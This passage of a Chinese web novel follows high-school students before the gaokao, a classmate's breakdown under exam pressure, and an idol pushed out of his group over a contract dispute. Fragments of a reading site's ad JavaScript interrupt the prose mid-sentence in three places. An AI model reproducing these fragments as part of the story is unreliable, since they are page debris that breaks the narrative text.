楚恒很平静地接受了这一切。自从梁吟东提出离职以后,他就已经有了预感。 赵焰明明完全可以直接放弃这个团,可是他却一定要这样把过去三年两人之间所有待遇都颠倒体验一遍。 楚恒越是平静,他就越是愤怒,就越想借助换C这件事来羞辱他。 ——就这样愈演愈烈,到了现在的地步。 “我受不了了!他们凭什么这样做?” “你经纪人呢?有人管吗?” 对面沉默两秒。 “她离职了。……没有人管。” “你们这什么破公司?”谷奕大吼,“草台班子一个!” “我早就想说了,你出道这几年一直郁郁寡欢,是不是跟这件事有关?我告诉你,虽然我这人脑子确实不太聪明,但是也不代表我无知无觉!” “每次都是我在说我的近况,你都保持沉默,问你都说没事。但是我早就想问了,是不是一直有人欺负你?” “……” “等一下。” 对面楚恒的声音突然响起。 “我闹钟响了。” “已经晚上十点半了。” “?”谷奕一怔,“那怎么了。” “到时间了。” “我有事,抱歉。下次再打电话。晚安。” 谷奕最后一句话堵在喉咙里,转眼间,手机里已经传来无情的“嘟嘟嘟”声。 ??? 到什么时间了? 他大晚上的有什么事? 十点半怎么了? 106. 第 106 章 黄怀予洗完澡躺床上,才刚刚拿起手机,通知栏里就已经跳出一则消息。 “【5.5hours】:到家了吗。” 她开始打字。 “刚洗完澡,你好准时啊,每天都十点半给我发消息。” 【5.5hours】:因为,你十点才下晚自习。这个时间刚好。 “咋了,你还算过?”黄怀予笑嘻嘻打字。 【5.5hours】:…… 【5.5hours】:嗯。 黄怀予和这位不知名网友的聊天模式基本都是单方面的。 她对这位网友的性别、年龄、地区等等基本信息一概不知,她只知道这人脾气很好,似乎平常也没什么事干,每天都有空听她逼逼一个小时,不管她说什么废话,对面都认真听,时不时评论两句“嗯”。 ——封TA为嗯贵人。 也正是因为TA这种备忘录属性,让黄怀予什么话都敢说。 做题的痛苦、考试的烦恼、和八班学霸每天一起竞争的煎熬、家里妈妈爸爸的破事……什么都说。5.5就安静听着,评论一句“没关系”。 学校对面施工队每天制造噪音,她极其烦躁大骂特骂,骂了一大堆脏话,痛快骂完爽了以后,5.5最后才回了一句“开心点了吗”。 小楚最近好像比较喜欢吃米饭,她特地中午吃完饭以后带了一团米饭去校门口喂狗,5.5末了才回复一句“它好幸福”。 昨天晚上睡觉之前看了一个当红男流量的电影,结果当天晚上就做了一个春梦,对象就是这个男流量,特别刺激——结果这话说出去以后,一向句句有回应的5.5却沉默了很久,十分钟以后才极其生硬地打了五个字“以后别看了”。 “为啥?那男演员可帅了!还有腹肌。” 对面十秒钟之后回复一条:“你喜欢腹肌吗。” “还行吧。”黄怀予打了个哈欠,“困了,我去看篇语文议论文就准备睡了。拜拜。” 黄怀予靠在床头看完了一篇议论文,又全篇通读了一遍,拿起床头的笔记下了文中提到的几个论据,闭着眼睛背了一遍。 十二点了。她放下书,勾完了今日所有schedule清单,喝了口水准备睡觉,手机却震了两下。 【楚老师】:【照片】【照片】 她心里一动,点进去一看,喷出一大口水。 ……谁能告诉她,为什么楚恒会大半夜给她发两张腹肌自拍图?? 她颤抖着手点进去,迅速双击放大,肌肉的纹理在手机屏幕上被拉扯到最大,上下左右全部滑动仔仔细细地看了一遍,她才点了“保存”,按了返回,回到聊天界面。 紧接着又点开第二张,这是另一个角度的,还有他本人的手也入了镜,皮肤很白,手上血管纵横交错极其突出,手指轻轻放在了腹部肌肉上。 “……”黄怀予一边点了保存,一边皱着眉头打字,“你发这个什么意思!” 话还没打完,两张图片就突然消失了。 【对方撤回一张图片】 【对方撤回一张图片】 【楚老师】:……抱歉。发错了。 【楚老师】:最近在健身,这是发给健身教练的。 【楚老师】:健身教练是男的。 “……” 黄怀予扯了扯嘴角,发现实在不知道该说些什么。 不过楚老师开始健身的话,是不是也说明他最近心情好了不少? 上次百日誓师大会见面之后,黄怀予偶尔会和楚恒聊聊天。 她没有主动问对方团体和公司的事,毕竟也怕对方不想说,免得戳人家心窝子。 两人只是偶尔问候,以及黄怀予偶尔晚上会给他分享两条“早上起床,拥抱太阳”的土味鸡汤语录,怕这人大晚上又开始网抑云EMO。 黄怀予觉得,经过了这么多事,两人真的也能算上比较熟识的朋友了。就像谷奕说的,楚恒这人本来就朋友少,素人朋友更少,黄怀予自认为应该能排得上号。 她一想到上次在学校里见到他的那种不太良好的精神状态,心里又开始生出同情。 “【大拇指】【大拇指】【大拇指】” 黄怀予抬手就发了三个土味大拇指过去。 “练得很好,加油,楚老师。” “请天天开心!请快乐每一天!请体验生命的美好!” 【楚老师】:……嗯。好。 【楚老师】:谢谢你的鼓励。 【楚老师】:那,明天还可以给你发吗。 “?”黄怀予有点为难,“呃……” 【楚老师】:因为除了健身教练,我没有朋友可以分享。 “!”黄怀予立刻说,“你发吧。我就是你的朋友!” 【楚老师】:好。 【楚老师】:晚安。 【楚老师】:【太阳】 …… “我没有朋友”? 楚门一中男生寝室三楼,躺在床上刚刚才被挂断电话的谷奕打了一个巨大的喷嚏。 * 2018年4月。 艺术生们纷纷回到了教室,所有人都紧锣密鼓准备两个月后的高考。 心情反复割据,教室越来越安静,心脏越来越沉重。 4月是云省短暂而舒适的春天,樱花飘落,粉色花瓣纷纷扬扬落在泥土里,又被行色匆匆戴着眼镜的学生们一脚踩碎。 艳丽的春色无人欣赏,张扬的青春无人在意。南方的雨下了一场又一场,灯火通明的一号教学楼倒映在广场前的楼梯积水里,浅浅的一小湾,像是一把陈旧的锁,也像是一把新灵的钥匙。 是锁,还是钥匙呢? 是一切的结束,还是未知的开始呢? 未来真的会像大人们说的那样美好吗? 世界真的会像书里写的那样理所当然吗? 我的人生真的耀眼,真的可期,真的“前途无量”吗? …… 黄怀予拿着上月月考年级第八名的成绩单和地理课本,再次来到了只属于她的秘密天台。 下雨了,微微雨。 她撑着一把透明的伞,蹲在小小的雨棚屋檐下。 嘴还没有把这段知识点默念完,眼泪就已经滴了下来。 只是她反应更快,眼泪还没来得及污染课本上的黑色笔记字迹,就已经被她迅速擦去。 眼泪消失,世界上没有任何证据可以证明眼泪存在过了。天还是滴滴答答下着雨,黄怀予抬头看看,心想雨会 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不会也是某个人心里流出的泪? 突然,雨棚背面传来一道女声,断断续续,抽噎哭泣,压抑着极深极痛苦的情绪。 黄怀予一顿。 她抱紧怀里的课本,放慢脚步往背面走去。 一个女生,蹲在雨棚下,背影孤单瘦弱。 黄怀予瞪大了眼睛。 ——她认出来,那人居然,是齐龙飞。 “我不知道,我不知道……” “她们都说我厉害,我有什么厉害的?我连S大自招笔试都没过……” “我好累……妈妈,我真的好累……” 她右手拿着手机,蹲在地上,抱紧双臂,肩膀抽动,再也没有了那副睥睨一切的淡漠,只剩下无助和脆弱。 “这次月考我又退步了两名,又是年级第三了,数学又没考好……” “我不知道……我真的不知道……” “妈妈,我好累,人为什么会这么累,为什么总是要和别人比,为什么?” “我没有考第一,我就失败了,我没过初审,我就完蛋了……为什么?妈妈?” “我不敢停,我不敢休息,我觉得全世界都在我的身后追我,只要我一停,她们就会超过我,我就再也不是第一名了,我就失败了,我就完了,我就不如去死。” “所有人都会开始嘲笑我,所有人都会背地里讨论齐龙飞这次才第三名,她不行了,她退步了,她懈怠了,她是最差最烂的人!” “妈妈你知道那些参加面试的人是什么样吗?她们都说她们是帝都人,是魔都人,是江城人。她们都说读的是一本率95%以上的省重点,模拟考从来不低于650分。她们考过雅思托福,她们数学竞赛得过奖,她们英语面试讲自己出国的经历,讲费尔巴哈的唯物主义,我却听也听不懂!” “这个世界好大,妈妈,我什么也不是。” …… 雨越下越大。 冷气马上就要浸透全身。 齐龙飞挂断电话,面上早已一片模糊。 腿已经蹲得麻木,她猛地站起身,却眼前突然一黑,整个人都朝后倒去—— 下一秒,她被一具温热年轻的身体接住,一只有力的手紧紧拉住了她的右手手臂。 “啊!” 她惊叫着站稳,晃晃昏沉的头,看见眼前慢慢出现了一张女孩的脸。 ——很年轻的脸,脸上没什么表情,但是眼里闪着明亮的光采。手上力气很大,拉住了她的手臂,皮肤相接触的地方传来干燥的温度,像是这阴寒雨天里唯一的热源。 “你……”齐龙飞愣愣地看着她,一时忘了所有动作。 眼前的女孩见她站稳,慢慢放开了手,从兜里掏出一包纸巾,打开,递到自己面前。 “对不起。我不是故意要听到你打电话的。” “我是过来背书的。” “刚刚才背到地理必修二农业区位。” 黄怀予见她还是呆滞着不动,顿了一下,干脆拿起手上的纸巾,一点一点擦干了她脸上的泪痕。 她动作很温柔,纸巾触感柔软,轻轻擦过脸上的皮肤,带着好闻的香气。 “不过,既然我不小心知道了一个你的秘密,作为交换,我也告诉你一个我的秘密吧。” 107. 第 107 章 黄怀予右手伸进口袋,摸索半天,最后掏出了一小块东西,右手握成拳,伸到齐龙飞面前。 齐龙飞迷茫一瞬,吸吸鼻子,还是乖乖伸出了手接着。 下一秒,一个硬硬的小东西就掉进了她的手心里。包装纸是软的,但是四角却是尖锐的,刺得指节微微生疼。 ——是一块巧克力。 不是生巧,没有花里胡哨的抹茶、草莓或者其他味道,是最普通的牛奶味巧克力。 中学生也能接受的甜度,不是费劲装高雅人士也一定要体验的苦的要死的咖啡,也不是吃了会粘的满手指都是调味粉末的薯片饼干。 没有味道,小小一块,独立包装,开袋即食。 上课昏昏欲睡,像做贼一样偷偷塞一块到嘴里,也不会被老师发现。 下课困倦无比,洗了冷水脸以后往嘴里塞一块,企图把眼前的数学题也想象成口腔里氤氲的甜。 来月经,肚子沉重地坠下去,冷风飕飕往脖子里灌,像是有一百个人按着下腹重重捶打。快要支撑不住的时候,往嘴里塞一块,喝点热水,哆哆嗦嗦地继续拿起笔。 跑体测八百米,跑前煎熬跑后痛苦,像丧尸变异一样喘着气,和女生朋友们互相扶着回到教室,喝完水,再吃一块,看着教室前方的高考倒计时发呆。 痛苦又生动的青春里,冷风呼啸着肆意地吹。 第一组女生有一本书往左边传,一个一个接力过去,所有经手的女生看了一眼后都继续默契地往左传。 “给谁的?”中间有人不耐烦地问,“给她的?我才不传!看她不顺眼!” 打开书一看,却顿了一下,撇撇嘴,又往里面扔了一块巧克力进去,把书合起来,冷硬地戳戳左边的人,“给那个谁。帮忙传过去。” 一本历经千辛万苦远渡重洋的地图册终于从第一组前排传到了第四组后排,坐在终点站的人小心躲避着周围体育生的目光,低头在抽屉里默默打开被夹得鼓包的书页。 ——一片七度空间粉色日用卫生巾,以及一块小小的牛奶味巧克力。 像西天求取真经,漫漫长路,经过了无数双柔软却可以做任何事的手,把一份不认识却与我有关的意志传接过去。 你坐在教室里,低着头,前方是醒目的高考倒计时,你觉得昏昏沉沉悲凉无比,自己在孤军奋战。可是吃下巧克力的那一瞬间,又会觉得这教室好大,满满五十几个黑黑的人头,她们都在陪你磨剑,笔尖划动书页的声音像是利刃出鞘,她们陪你看过清晨六点黑乎乎的天空,陪你走过夜晚十点冬风凛冽的校园,陪你在语文课上意识涣散地打瞌睡,陪你在书堆里迷茫地幻想未来。 号角吹响的那一刻,你们一起拿上红缨枪,人墙战术往前冲,到最后居然看见,前方迷雾中将要与之厮杀的敌人,竟是自己。 “有一段时间,我几乎每天都会梦见你。” “你是所有文科班的女生都想要成为的存在,是我们永远也追不上的人。” “我觉得自己什么都比不上别人,不论是成绩、相貌、人际关系、家庭条件……任何任何,每一条路前方都有一座永远跨不过去的大山。” “可是有一天,我的一个朋友,给了我这块巧克力。” “她居然告诉我,她很羡慕我,她永远在追着我,却怎么也追不到。” “原来,我也是会被其他人追逐的吗?” “世界像一个环,你不觉得吗?我们都是环上的点,这不是追及问题,这是相遇问题。我们不是山,我们是河。河流就这样奔涌向前、一往无前地往前流,她在我身后推着我,我在你身后推着你,我们是一条河,从高海拔的雪山上飞落,一路飞奔到了平原,蜿蜿蜒蜒,混成一体,最后一起冲进广阔的太平洋。” 黄怀予蹲下身,抱着膝盖,抬起头来看雨。 她伸出右手,雨棚边缘流下滴滴点点冰冷的水珠,坠进她的手心里。 雨幕像一个巨大的网,把两个十七岁的女生罩在里面。 远方的鸡鸣山朦朦胧胧,世界雾气渺渺。 …… 齐龙飞撕开包装,吃掉了那块巧克力。 甜味在舌尖绽开,可是眼泪又不自觉流下来。 两人被盛大的雨幕包围。一站一蹲,静静地听雨声。 * 李鸣月最近新买了一个懒人沙发。 直接放在1969大厅里,老板专属。白天就躺在这,旁边放一杯椰林飘香,面前弄一个投影仪,手里手机充满电,怎一个爽字了得。 下午五点开业,她再在开门之前把沙发搬到二楼监控室里。 她躺在新宠沙发里,正在紧锣密鼓地玩《保卫萝卜》。死了好多次的一关终于过了,她极其舒爽地呼出一口气。 门外突然响起敲门声。 一下。两下。三下。 三下就停了,很守规矩,动作很轻。 敲完就再也没有多余的噪音出现,安静地等着。 她扭头冲门口喊了一声:“不好意思白天不营业!” 门外安静一瞬。 随后,传出一道男声。 ——“月姐。” ! 李鸣月一愣,把手里的手机扔了,立刻就想从沙发上爬起来。 却没想到之前觉得舒服的懒人沙发现在却像泥沼一样困住了她。她挣扎半天,头发都散了几根,手脚并用终于爬了起来,三步并两步“咚咚咚”跑到门前。 门打开,寒气扑面而来,楚恒那张有些苍白的脸混在楚门早春的风里。 他穿得单薄,鼻头冻得有些红,深邃的眉眼隐在额前长长的刘海下。 …… “事情就是这样。” 李鸣月坐在沙发里,面部表情极其扭曲,双手都纠结地插进了头发里,简直像世界名画《呐喊》。 她瞠目结舌地看着面前平静喝着热巧克力的男生。 “你怎么能用这么平和的口吻,告诉我你昨天突然收到强制退团通知,在毫不知情的情况下得知从此以后你就再也不属于STAR了。” “全程如此淡定,叙事清楚明白,好像你只是昨天早上去什刹海划了一小时的船。” 李鸣月很是崩溃。 “啊啊啊啊啊啊啊啊啊啊啊啊啊!!” “怎么办啊?怎么办啊?怎么办啊?” “三年白干!” “从头开始!” “年纪还无痛变大三岁!” “被强制开除了!他们还会对外说你是因为生病自己退出的!到头来他们不会被骂,只有你什么都没了!” “赵焰能放过你吗?贾威能放过你吗?只要你还在新娱一天,你就再也出不了头了!” “你的大好青春呢?你一去就再也回不来的十八岁呢?” “谁还给你?谁还给你?” “你练了那么多唱歌算什么?跳了那么多舞算什么?流的那么多汗算什么?” “怎么办啊?啊啊啊啊?啊啊啊啊啊啊啊?” “……”楚恒微微往后仰了仰脖子,动作顿了一下,很显然是第一次见到月姐发癫变成狼人的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 样子,“月姐,你先冷静一下。” 李鸣月根本听不进去他毫无影响力的劝说,捂着头,站起身,围着沙发走来走去。 她喃喃道: “我当年决定揭发他们性骚扰的时候,都没有现在这么慌。” “太久违了,这种感觉。” “这种付出一切到最后却一事无成的感觉。” “这种以为自己是天之骄子,结果到最后却发现自己只是一只蚂蚁的感觉。” 她停住脚步,瘫倒在沙发上,像一滩烂泥。 …… “楚恒。” “你家有多少钱。” 李鸣月想了一下,补充一句:“不借钱的话。” 楚恒眉心微不可见地蹙了一下,慢慢把手里的热巧克力放回了桌子上。 他知道李鸣月是什么意思,所以他沉默一瞬,给出了一个答案: “大概是,违约金的三分之一。” 他低着头。 “不过,我还没有和家里说。” 李鸣月拧着眉挠了挠头。 她知道楚恒这种人,不到最后一刻都不会考虑解约这种事。几百万给出去,全家多年的存款一夜之间就没了,他做不出来。 他一定会选择继续在新娱沉默地呆上五年。 李鸣月突然觉着这简直像是坐牢,五年之后出来23岁,在娱乐圈不算老但是也不年轻了,铁门铁窗铁锁链,出狱那天她一定会去帝都看他,给他带一束花和一个拥抱…… ——打住!越想越离谱! 她一拍桌子站了起来,绕着沙发卡座翻来覆去地走。 思绪乱七八糟,她越走越远,一直走到了吧台。 吧台上放着一个马歇尔的蓝牙音箱,后面是一整面巨大的酒柜,酒柜旁边的做旧墙面上,贴着一张EAGLES的海报。 她脚步突然停了。 “现在我这基本上已经走上正轨了,你要是之前还有什么人脉,给我介绍一下。” “我不嫌多。” “要是论起音乐圈的,你不比我少。” 李鸣月彻底站定,一动不动。 她眼神一下子变得清晰起来。 “我和喻轻泉在江城还有两套房子。” 她声音音量不大,却清清楚楚传到了楚恒耳朵里。刚刚说起自己被强制退团都没什么波澜的男生,听到这句话却骤然睁大了双眼,满脸的不可置信。 “月姐!不——” “我想明白了。” 李鸣月像是想清楚了什么事,转过身来,看着楚恒,打断他的话。 “楚恒,不仅这两套房子,我再给你推荐一个离开新娱之后的去处。” 李鸣月走回来,又坐回了沙发上,眼里闪过一丝笑。 “别着急,五年之后你连本带利还给我就是了。” “如果这五年你在新娱坐牢,五年后你和现在没有任何区别。如果这五年你走出来拼一把,未来有50%的几率会改变。” “你要是做起来了,还差这几百万?这个圈子最不缺的就是钱。” “楚恒,人生很宝贵的。你自己悠闲,那叫享受生活。你被别人耽误,那叫坐以待毙。对人生的控制权,要100%掌握在自己手里。你做的每一件事情,都得是你心甘情愿的。” …… 她重新躺回沙发上,长舒一口气。 “太久违了,这种感觉。” 她喃喃道:“接受自己是蚂蚁,但是不接受自己就这样被人踩死。蚂蚁也得好好活着。” 108. 第 108 章 楚门一中。 谷奕拧着眉,盯着眼里的手机。 “楚恒已经很久没有回过我消息了。” 黄怀予放下笔,顺嘴问了一句,“很久是多久?” “三天。” “那多正常,你嘴那么碎,他没屏蔽你就算好的了。” “放屁!”谷奕笑着骂了一句,嘴角勾起来,锋利的眉眼里闪过散漫的笑意,“我说真的。” “上次不是你先发现他们团官博说他病了,C要给别人,还让我去问问他吗。” “我看,你也担心他有可能因为工作上的事而状态不好吧。” “……”黄怀予眨巴眨巴眼睛,像是被说中心事。 她没说出口的是,其实楚恒这几天也没回她消息。 人要多久可以养成一个习惯? 黄怀予上了十几年学,也没能养成早起的习惯,每天起床像上刑,早自习困得像猪。 ——但是楚恒才三天没有在睡前给她发腹肌照,她就已经翻来覆去睡不着了。 而且楚恒这厮不愧是专业干这行的,被拍照是人家的专业工作,那照片构图、光影、姿势都是一绝。 每一张照片的角度和姿势都不一样,今天躺着穿紧身背心,明天坐着撩T恤,后天趴着超绝不经意露出,像是那种沉浸式男擦博主——尽管这位博主每晚只给她一个人更新。 一天损失两张腹肌照,三天就损失六张腹肌照。 …… 她皱着眉,看着手机屏幕上楚恒已经许久不更新的微博主页发呆。 全网关于STAR的消息,也就只有之前官博出来说楚恒因为身体原因无法胜任Center位的工作压力所以进行内部调整。那条微博发出来到现在也快两周了,之后就再也没有新的消息了。 现在,连本人都不回微信消息了。 黄怀予心里七上八下的。 那人本来就那么消极抑郁,这次不会…… 她把手机扔在桌面上,发出“哐啷”的声音,不大,但是却像砸在了她自己心上。 到了晚上。 黄怀予洗完澡,很是郁闷地打开微博去找5.5。 可是发了一大堆话过去,等了十几分钟都没有等到回复。 ? 5.5已经三天都没有回复她了! 聊天记录上现在满满全是自己这边发送出去的聊天气泡,对面安安静静,什么都没有。 怎么最近这么多人都不回消息! 黄怀予把手机屏幕敲得劈里啪啦作响,控诉对方无缘无故突然消失。可是心里那股郁结却并没有随着发出去的话而消失,反而更加严重地堵在心里。 她扔了手机,烦躁地睡了。 第二天,黄怀予一进教室,就一把抓住了谷奕的手臂,强迫他今天必须给楚恒打个电话过去问一下。 对方神色严肃,抓住他的手就不放,力气还很大,谷奕被她捏得“嘶”了一声,“好好,我现在打。” 苏琬在旁边知道了这件事也微微蹙起了眉,“是有必要问问。” 当着苏琬和黄怀予的面,谷奕打了一遍微信语音,又打了一遍手机号码,两个都无人接听,“嘟嘟”声响了八秒才停。 “算了,放心吧。” 他神经大条地锁掉手机屏幕。 “我昨天晚上回去已经想清楚了。楚恒平常就这个性格,我平常每天跟他说一大堆,他也不理我的。没事还是别去打扰他,说不定他还嫌我们烦呢。” 话还没说完就被锤了一下头,谷奕“哎呦”一声捂住额头,看见黄怀予怒气冲冲的脸。 “现在已经不是这种程度了,懂吗?” “不是这种程度,是什么程度?”谷奕懵懵地问。 “他不理你是正常,可是他最近连我都不理了!” “……?”谷奕一下子瞪圆眼睛,张大嘴巴嚷嚷,“你这话什么意思?” “就这个意思。” 谷奕委屈地看向旁边的苏琬:“她什么意思!你说她什么意思!” “……好了!”苏琬及时插进来,“你们好好回忆一下,楚恒最近有可能遇到什么事?” “比如,最坏有可能是什么情况?” 黄怀予和谷奕都闭上了嘴,仔细思考了一下。 “哎呀!”谷奕一动脑子就开始烦躁,“我们在这里冥思苦想能想出来什么结果,我们又不是这圈子的。” ? 黄怀予左右看看,一下子看见后排的林潇潇正在自己座位上抓耳挠腮地做数学题,立刻把她拉了过来。 “林老师,您是圈内人,有一个问题请您赐教。” 林潇潇脸上满是做不出题的纠结,无精打采地问:“什么问题。” “假如你去某家公司女团C位出道,但是出道三年都还是很糊。前段时间经纪人也离职了,公司也没人管你们了。突然,你收到消息,他们以你身体不好为由,把你的歌曲part都换给了队友,你当了三年的C位突然都变成队友的了。” “你觉得……这代表着什么?” 这问题可比立体几何生动多了,林潇潇刚刚还因为数学题而无神的眼睛突然闪过一点光。 她顶着周围三个人热切关注的好奇目光,挠挠头,顺口一说:“那得看合同还有几年。” 苏琬:“怎么说?” 林潇潇提到了专业领域,扯了张凳子坐下,开始大聊特聊。 “这不摆明了公司要放弃这个团吗?正常情况下,不仅是我,我和我队友识相点就都应该开始找下家了。” “但是如果突然用我身体不好的理由,把我的C换给她们了,那只有一种情况,就是她们还能继续呆,我呆不了了。下一步他们就会说我身体不好,不出席活动;下下一步就会说我身体不好,暂停活动;最后就是说我身体不好,直接退团。” !! “……那,退团之后呢?” “那就得看合同还有几年。如果合同还没到期,时间太长,我又不想呆在公司里浪费青春,那就得付违约金。” 林潇潇叼着笔盖,回忆道:“我上次去帝都考试,路上拼车遇见一个同考场的女生,她说她姐姐就是干女团的,被小公司骗去签约了,几年后想解约,对方狮子大开口要了三百万。有些小公司,一下子签很多人,就靠着违约金赚钱。最后没办法,打官司打了很久,还是赔了一百万,终于解约恢复自由身了。” 话音落下,周围陷入短暂的安静。 苏琬把林潇潇请了回去,“谢谢林老师,那道数学题等会我教你。” “好啊好啊!”林潇潇欢天喜地回去了。 …… 周围又只剩下三个人。 黄怀予半晌没说话,低着头。 怪不得楚老师不想接电话。要是换做是她,要么是糊也忍着,要么是付几百万 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 这怎么选? 她看了苏琬一眼,发现苏琬也正看着她。两人此时此刻似乎都想得一样,假如换做是她们,天平上只要有一端是钱,另一端无论是任何东西,这个选择都变得艰难起来。 ——“就这?” 谷奕愣愣的声音响起来。 “说半天不就是几百万吗?这也不是什么大事啊。” ?! 黄怀予和苏琬瞪他一眼,“你这种有钱人的嘴脸真让人恶心。” “我怎么了!”谷奕大喊大叫,“我哥们儿完全可以来找我借啊!甚至我直接给他都行!不管几百万我都给得起。他怎么就觉得这是件多么大的事呢?” “经纪公司多了去了,这个不行就换下一个。他要是在新娱混不下去,我出钱给他办个人工作室,我就来做他逐梦演艺圈背后的煤老板。” 谷奕真的是这么想的。 对于他来说,天平一端只要是钱,那他一定会头也不回地选择另一端。梦想、斗志、激情、朋友、恋人,都比钱要重要。他不用犹豫,不用强迫自己做不想做的事,他的家庭背景会永远给他兜底,他可以永远风花雪月。 …… 不过这番话也确实让黄怀予心定了一点。 是啊,只要谷奕家一天不破产,他就绝对不会允许自己朋友过得太差。 她想来想去,还是趁着晚自习,偷偷溜到了天台,拨通了楚恒的电话。 黄怀予已经做好没人接的准备了,她丧着脸听着听筒里的嘟嘟声,抬头看着夜空。 今天下弦月暗淡,星辰明亮,天气慢慢热了起来,春天已经快要结束了。 她看着月亮发呆,胡思乱想,心不在焉地数着电话里的“嘟”声。 一声嘟。 两声嘟。 三声嘟。 ——“喂。” 一声低沉磁性的声音突然传进耳朵里。 黄怀予浑身一震,手机差点吓掉了。 长久的沉默在周围蔓延。 黄怀予脑子还是很混乱,刚刚还在发呆,此时脑子一片空白,愣怔着半天没说话。 而对面也就这样安静等着。 “……”她终于说出了第一句话,“楚老师……” “嗯。是我。” “我在。” 他声音很低。 “我……还以为你不会接。”她突然有点紧张,摸摸鼻子,骤然想到这还是她第一次和楚恒打电话,“谷奕上午也给你打了电话,但是你没接。” 对面停了两秒,“这几天一直都没看手机。抱歉。” “那你现在怎么接到了?” “因为是你打的。” “?”黄怀予迷茫一瞬,没明白,“为啥我打的你就能接到?” 他沉默一瞬,“我听到了电话铃声。”后面的话像是被他咽了回去,隔着手机听筒,他的声音有点失真,夹杂着天台上断断续续的流量信号,像是来自另外一个世界。 听到了电话铃声? 电话铃声不是所有人给他打电话都会有的吗? 黄怀予想到一半又觉得纠结于这个问题有点没意义,于是思考了一下,决定直入主题: “你最近是不是遇到了什么事?” “没有。” 黄怀予皱眉。 “你可以骗到谷奕那个傻子,但是休想骗我。” “……” 109. 第 109 章 “你为什么不告诉我?” “楚老师,我们也认识了这么久了,已经算得上是朋友了吧?” 她带着一丝不满诘问道。 朋友? 电话那头呼吸急促了两下。 那人像是咬着牙,语气有点重,蹦出两个字。 “不是。” 从来都不是。 他从来就没把她当成过朋友。 “什么?!” 黄怀予还以为她听错了,脸色一沉,“你再说一遍?” “……”对面沉默几秒,然后深呼吸一口气,似乎极其不情不愿,“……是。” “哼。”这就对了,她脸色这才转好。 “算了,你不说我也知道。”她抱着胸,“谷奕说不管是几百万,他都给得起。你要是遇见任何需要用钱解决的麻烦,都可以直接找他。” 楚恒愣住了。 隔着手机听筒,黄怀予看不见他的表情,她只能听见手机里传出他短促沉闷的呼吸声,有些凌乱,在周围安静的空气中显得极其明显。 “……就这样吗?” 楚恒突然说。 这话意义不明,没头没尾,但是黄怀予却听懂了。 “是。就这样。”她轻声却坚定地回答道。 “人生中的很多问题,是我们自己给它赋予了太多意义吧?其实很多时候,它就仅仅是这样而已。” 黄怀予抬头看着眼前一望无际的夜空,深蓝色的,很像楚恒的微信头像,她突然感觉看见这夜空就好像看见了他,“我有时候会想,大部分时候,那些复杂的纠结的原因归结到最后是不是就都变成了钱?假如钱都被解决了,剩下的事就都不是什么大事了。” “楚老师,帝都可以看见星星吗?” 话音落下,那边响起窸窸窣窣的声响,随后是“哗啦——”一声,厚重的窗帘被拉开,那人站在月光之下。 “看得见。”他声音有些喑哑,“很亮。” 楼顶天台的微风慢慢拂过她的面颊,她像是对自己说,也像是对楚恒说: “月亮被云层遮住了,所以暗淡。月亮淡了,星星就明亮了。” “看不到月亮,那就看星星。做不到这个,那就换一个。反正就这样活着吧,天上星星那么多,夜晚每天都会到来。” 两人站在同一片夜空下,隔着一千多公里,披洒着同一片月光。 黄怀予声音很轻,这些话,她也想对自己说。 右手中指上的茧越来越厚,镜片刚刚擦完又落满粉笔灰,早晨不管多早起床,爬楼梯经过四楼的时候竟然都会听见八班教室传出的细细密密的读书声。四肢僵硬,肩膀沉重,分数鲜红,心脏缓缓地堕下去。 她也觉得好像怎么学也无法在名次上有进步,八九个人的名字轮换着出现在她周围,一个个都憋着气凝着神,前路看不见方向,月亮被云层遮住,昏沉黯淡,遍寻不着。 可是今日放下笔,独自一人走到天台上,不经意间看到满天繁星,脑海却好像在愣怔之中闪过一点白光。 “楚老师。” “6月8号下午,我们在1969见面吧。” 对面陷入漫长的安静,终于传来一个低沉的声音,像压抑了很久的潮水终于开闸,像长久关闭的门终于松了紧闭的锁翘。 既然都处在人生中的紧要关头,那就在低谷中的月光下约定,各自解决之后,一起见面吧。 “……好。” * 2018年6月。 楚门一中本届高三考生的考场被安排在楚门十中。 高考前几天会小小地放一天假,学生们可以去考场学校率先看看环境、确认一下考场教室的位置。 看着周围浩浩荡荡全都是一中高三学生随意走在十中校园里的情景,黄怀予牵着苏琬的手,突然觉得这一幕很有意思。 大家难得可以集体出校,还是一起来到其他高中,这体验其实很新奇,周围所有人脸上都满是轻松的笑容,大家左边看看十中的图书馆,右边拍拍十中的操场,最后再骂一句破一中的校园环境永远这么丑。 ——所以,当黄怀予突然在前方看见卫语和冯尽欢的背影的时候,她整个人都停住了脚步,但是下一秒又觉得理应如此。 对啊,他们俩当然也是来看考场的。 可是令人惊讶的是,冯尽欢和卫语两人居然走得很是亲密。 他们并排走在十中的校园里,校服下少女少男的手紧紧牵在一起,背影都极其般配,像极了经常会看见的校园情侣,只是这次终于可以光明正大、不用避讳老师了。 “……” 苏琬也看见了。 她第一时间就去看黄怀予的脸色。 黄怀予摇摇头,示意没事,拉着苏琬就准备静悄悄地走,打算装作没有看见。 ——却没想到下一秒后面就传来谷奕极其大声散漫的叫嚷: “杯姐!苏琬!我刚买了冰淇淋要不要!” ?! 黄怀予心道完了,果然立刻就看见前方的卫语和冯尽欢闻声回过头来,看见黄怀予的那一刻,两人眼里都闪过惊讶和一丝尴尬。 黄怀予只能率先走上前,“……哈喽。” 苏琬站在一旁,也微微冲两人点点头。苏琬初中的时候和这三个人不是一个班的,但是由于苏琬长得漂亮,在全年级都算有名,初中的时候又经常来班上找黄怀予,所以一来二去大家也算认识了。 冯尽欢今天穿了一条纯白色的半身裙,头上戴了一个小小的草莓发卡,显得清新可爱。她挥挥手,“这么巧。” 黄怀予:“你们考场在哪里?” 冯尽欢:“在东区。” 黄怀予没话找话,“哦。我在西区。” 余光扫到旁边的卫语,黄怀予觉得还是有义务寒暄两句,于是说:“对了,上个月看见学校校园宣传墙了,你已经过了W大计算机的自主招生了吧?恭喜你。” W大是全国顶尖大学,整个年级里已经过了985大学自主招生的人也没几个了。 黄怀予抱着书经过校门时,看着那期校园墙,驻足了很久。 面容清隽的高中男生,照片简洁清爽,熟悉的名字,跟着一大段荣誉和奖项介绍,亮眼的大红色底布向来来往往的所有人都宣告着当事人的优秀。 